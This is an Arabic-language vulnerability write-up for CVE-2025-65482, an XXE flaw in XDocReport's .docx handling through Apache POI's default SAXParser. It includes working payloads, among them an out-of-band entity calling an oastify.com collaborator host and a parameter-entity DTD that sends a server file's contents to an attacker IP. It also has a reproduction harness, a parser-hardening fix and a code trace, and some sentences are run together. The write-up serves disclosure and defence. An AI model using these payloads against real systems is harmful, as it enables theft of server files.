
CVE-2025-65482 (XXE)
حقن كيان خارجي XML
نظرة عامة على الثغرة
تأثير الأعمال
يسمح موقع إدارة الموارد البشرية للمستخدمين بتحميل ملفات وثائق .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق المكتبة fr.opensagres.xdocreport.document.docx التي تحتوي على ثغرة XXE عند معالجة ملف .docx للمستخدم عبر .
SAXParserfr.opensagres.xdocreport.template.docx — XDocReport (الإصدارات =< 2.0.3)
السبب هو استخدام Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
أي أن Apache POI موجود في عمق كبير، في الوحدة:
org.apache.poi.xwpf.converter.core
يحدث الخطأ لأن XDocReport (في الوحدة fr.opensagres.xdocreport.document.docx) يستخدم Apache POI لقراءة ملفات .docx، و POI يستخدم SAXParser الافتراضي لجافا دون تعطيل الميزات التي تسمح بمعالجة DTD والكيانات الخارجية. → وهذا يسمح للمهاجم بإدراج DOCTYPE يحتوي على كيان يشير إلى الخارج (SYSTEM "http://...") أو إلى ملف داخلي (file:///...) → مما يؤدي إلى XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
قم بتحريره بحمولة outband تمر عبر collabrator كما يلي:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. بمحتوى ملف vcspentest.dtd كما يلي:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
قم بتحرير ملف word/document.xml داخل ملف .docx بالمحتوى التالي لتحميل dtd خارجي من جهاز wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx ورفعه إلى الخادم للمعالجةD:/vcspentest.txt على الخادم المستهدففي الكود أو في طبقة تهيئة محلل XML، يجب تعطيل جميع الميزات المتعلقة بـ DTD والكيانات الخارجية.
إصلاح مشابه لهذا الكود
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// قراءة ملف الإدخال الذي يحتوي على تعبير Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // ملف الإدخال
InputStream input = new FileInputStream(docxTemplate);
// تحميل القالب باستخدام Velocity
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// تحميل القالب باستخدام FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// إنشاء سياق - يمكن تركه فارغًا إذا كان الاختبار فقط للتعبير المستقل
IContext context = report.createContext();
// تصدير إلى ملف جديد
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ تم إنشاء ملف result.docx بنجاح.");
} catch (Exception e) {
System.err.println("❌ خطأ في معالجة الملف:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
SAXParser دون التحقق من الإدخالscanDocument() ويقوم بمسح محتوى XML وإصدار "أحداث" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, إلخ)التحقق مما إذا كان اسم الكيان (name = "xxe") هو كيان خارجي
إذا تم تعريف الكيان وكان خارجيًا، فإن المحلل يستدعي منطق حل الكيان الخارجي (على سبيل المثال startExternalEntity(...) / fEntityManager.startEntity(...)) — هذه هي المصب: هنا سيقوم المحلل بأخذ systemId/publicId ومحاولة فتح دفق (قد يولد طلب HTTP خارجي).
xxe كيانًا خارجيًا، فإن startEntity(...) سيؤدي إلى منطق فتح مورد (على سبيل المثال startExternalEntity(...) / فتح InputStream → إمكانية إنشاء طلب HTTP إلى عنوان SYSTEM). // should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
المتغير externalEntity.entityLocation يحتوي على عنوان URL الضار من DOCTYPE (SYSTEM "http://...oastify.com/").
resolveEntityAsPerStax، المتغير resourceIdentifier يحتوي على المسار المطلق: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
هذه الدالة تقوم بعد ذلك بتحويل resourceIdentifier إلى كائن XMLResourceIdentifierImpl وتستمر في فتح الاتصال الفعلي لقراءة المحتوى.